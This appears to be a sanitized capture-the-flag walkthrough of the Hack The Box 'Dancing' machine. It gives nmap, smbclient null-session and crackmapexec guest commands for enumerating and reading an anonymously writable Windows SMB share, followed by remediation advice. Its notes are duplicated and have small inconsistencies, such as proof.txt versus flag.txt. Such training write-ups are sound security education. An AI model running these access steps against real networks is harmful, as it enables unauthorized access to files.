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HTB Dancing - Full

Host is up, TTL=127 indicates Windows (default TTL 128, minus 1 hop) Quick scan (default scripts + version detection): Results: - 135/tcp - msrpc (Microsoft Windows

Very EasyPublished 2026-02-07Sanitized local writeup

Scenario

HTB Dancing - Full attack path

Host is up, TTL=127 indicates Windows (default TTL 128, minus 1 hop) Quick scan (default scripts + version detection): Results: - 135/tcp - msrpc (Microsoft Windows

Objective

Machine walkthrough focused on Machines evidence, validation, and reusable operator lessons.

HTB Dancing - Full sanitized attack graph

Walkthrough flow

01

Connected to WorkShares using null session: smbclient...

02

Browsed directories: Amy.J and James.P

03

Downloaded proof.txt from James.P directory

Source coverage

High source coverage

Status: complete. This article is generated from 3 sanitized Markdown sources and keeps raw flags, credentials, keys, cookies, and reusable secrets out of the rendered blog.

82% coverage
Evidence verdict

Good confidence: the page has enough source material to read as a complete walkthrough, but the supporting evidence set is smaller than the highest-confidence cases.

  • <TARGET>-Dancing/walkthrough.md
  • HTB/<TARGET>-Dancing/notes.md
  • HTB/_knowledge/exports/ctf-lightrag-latest-203412/documents/machine__<TARGET>-Dancing__notes.md.236355e4c0.md

Technical Walkthrough

HTB Dancing - Full Walkthrough

Machine Information

  • Name: Dancing
  • IP: <TARGET>
  • OS: Windows 10 / Server 2019 Build 17763 x64
  • Difficulty: Very Easy (Starting Point - Tier 0)
  • Category: SMB Misconfiguration

Enumeration

Step 1: Host Discovery & OS Identification

bash
ping -c 2 <TARGET>
  • Host is up, TTL=127 indicates Windows (default TTL 128, minus 1 hop)

Step 2: Port Scanning

Quick scan (default scripts + version detection):

bash
nmap -sC -sV -oN nmap/initial <TARGET>

Results:

  • 135/tcp - msrpc (Microsoft Windows RPC)
  • 139/tcp - netbios-ssn
  • 445/tcp - microsoft-ds (SMB)
  • SMB signing enabled but not required
  • Clock skew: +4h00m05s

Full port scan:

bash
nmap -p<redacted> --min-rate 1000 -oN nmap/allports <TARGET>

Additional ports discovered:

  • 5985/tcp - WS-Management (WinRM)
  • 47001/tcp - WinRM
  • 49664-49669/tcp - High RPC ports

Step 3: SMB Enumeration

Null session share listing:

bash
smbclient -N -L //<TARGET>/

Shares found: ADMIN$, C$, IPC$, WorkShares

CrackMapExec enumeration with guest account:

bash
crackmapexec smb <TARGET> --shares -u 'guest' -p ''

Results:

  • Machine: DANCING
  • Domain: Dancing
  • WorkShares: READ, WRITE access with guest authentication
  • ADMIN$ and C$: No access
  • IPC$: READ access

Exploitation

Step 4: Accessing WorkShares

bash
smbclient //<TARGET>/WorkShares -U '' -N

Browsing the share reveals two directories:

  • Amy.J/ - contains worknotes.txt
  • James.P/ - contains flag.txt

Step 5: Retrieving the Flag

bash
smbclient //<TARGET>/WorkShares -U '' -N -c 'cd James.P; get flag.txt /tmp/flag.txt'
cat /tmp/flag.txt

FLAG: <hash redacted>

Bonus: worknotes.txt Contents

text
- start apache server on the linux machine
- secure the ftp server
- setup winrm on dancing

This hints at other machines in the Starting Point track and confirms WinRM is configured on this machine.

Vulnerability Explanation

What: SMB Share Misconfiguration

The "WorkShares" SMB share is configured to allow anonymous (null session) and guest access with both READ and WRITE permissions. This means anyone on the network can connect without credentials and access all files within the share.

Why It Works

Windows SMB can be configured to allow guest or anonymous access to specific shares. When shares contain sensitive data (like user files, credentials, or flags) and are accessible without authentication, it represents a critical security misconfiguration.

Impact

  • Confidentiality: All files in the share are readable by anyone
  • Integrity: Files can be modified or new files placed (WRITE access)
  • Availability: Malicious files could be planted; legitimate files could be deleted

Remediation

  1. Disable guest access to SMB shares
  2. Require authentication for all share access
  3. Apply principle of least privilege to share permissions
  4. Enable SMB signing to prevent relay attacks
  5. Audit share permissions regularly

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
smbclientSMB share interaction and file retrieval
crackmapexecSMB enumeration and access verification
pingHost discovery and OS fingerprinting

Key Takeaways

  1. Always enumerate SMB when ports 139/445 are open -- null sessions and guest access are common misconfigurations
  2. CrackMapExec provides quick, structured SMB enumeration including share permissions
  3. TTL-based OS fingerprinting is a fast way to identify the target OS (128=Windows, 64=Linux, 255=Solaris/FreeBSD)
  4. Starting Point machines teach individual protocols -- Dancing focuses specifically on SMB
  5. Check for anonymous access first before attempting brute-force or credential attacks

Flags

Flag TypeValue
Flag<hash redacted>

Source-Backed Dossier

The sections below are merged from companion Markdown notes for the same case. They are rendered after sanitization so the article stays precise without publishing raw flags, credentials, or target-specific secrets.

Notes

Target: <TARGET> (DANCING)

Date: 2026-05-04

Attacker: Pwnbox (<TARGET>)

Machine Type: Windows 10 / Server 2019 Build 17763 x64

Phase 2: Vulnerability Analysis

Primary Vulnerability: Misconfigured SMB Share

  • WorkShares share allows anonymous/guest READ+WRITE access
  • Contains sensitive files including user flag
  • No authentication required

Additional Attack Surface

  • WinRM (port 5985) is open - could be used for remote management if credentials obtained
  • SMB signing disabled - potential for relay attacks in domain environment

Phase 3: Exploitation

Attack Vector: Anonymous SMB Access

  1. Connected to WorkShares using null session: smbclient //<TARGET>/WorkShares -U '' -N
  2. Browsed directories: Amy.J and James.P
  3. Downloaded flag.txt from James.P directory

Flag

text
<hash redacted>

Key Takeaways

  • Always check for anonymous/guest SMB access
  • CrackMapExec is excellent for quick SMB enumeration
  • TTL values in ping responses quickly identify OS type
  • Starting Point machines often have straightforward vulnerabilities focused on a single protocol

Notes

Target: <TARGET> (DANCING)

Date: 2026-05-04

Attacker: Pwnbox (<TARGET>)

Machine Type: Windows 10 / Server 2019 Build 17763 x64

Phase 1: Reconnaissance & Enumeration

Connectivity Check

  • Target responds to ICMP ping
  • TTL=127 confirms Windows OS (128 default - 1 hop)

Port Scan Results

Initial Scan (Top 1000 ports)
PortServiceVersion
135msrpcMicrosoft Windows RPC
139netbios-ssnMicrosoft Windows netbios-ssn
445microsoft-dsSMBv2
Full Port Scan (All 65535 ports)
PortService
135msrpc
139netbios-ssn
445microsoft-ds (SMB)
5985WS-Management (WinRM HTTP)
47001WinRM
49664-49669High RPC ports

SMB Enumeration

  • Machine name: DANCING
  • Domain: Dancing
  • SMB Signing: False (disabled)
  • SMBv1: False
  • Guest authentication: ENABLED

Share Enumeration (via CrackMapExec with guest)

SharePermissionsRemark
ADMIN$NoneRemote Admin
C$NoneDefault share
IPC$READRemote IPC
WorkSharesREAD, WRITECustom share

WorkShares Contents

text
WorkShares/
├── Amy.J/
│   └── worknotes.txt (94 bytes)
└── James.P/
    └── flag.txt (32 bytes)

worknotes.txt contents:

text
- start apache server on the linux machine
- secure the ftp server
- setup winrm on dancing

Phase 2: Vulnerability Analysis

Primary Vulnerability: Misconfigured SMB Share

  • WorkShares share allows anonymous/guest READ+WRITE access
  • Contains sensitive files including user flag
  • No authentication required

Additional Attack Surface

  • WinRM (port 5985) is open - could be used for remote management if credentials obtained
  • SMB signing disabled - potential for relay attacks in domain environment

Phase 3: Exploitation

Attack Vector: Anonymous SMB Access

  1. Connected to WorkShares using null session: smbclient //<TARGET>/WorkShares -U '' -N
  2. Browsed directories: Amy.J and James.P
  3. Downloaded flag.txt from James.P directory

Flag

text
<<secret redacted>>

Key Takeaways

  • Always check for anonymous/guest SMB access
  • CrackMapExec is excellent for quick SMB enumeration
  • TTL values in ping responses quickly identify OS type
  • Starting Point machines often have straightforward vulnerabilities focused on a single protocol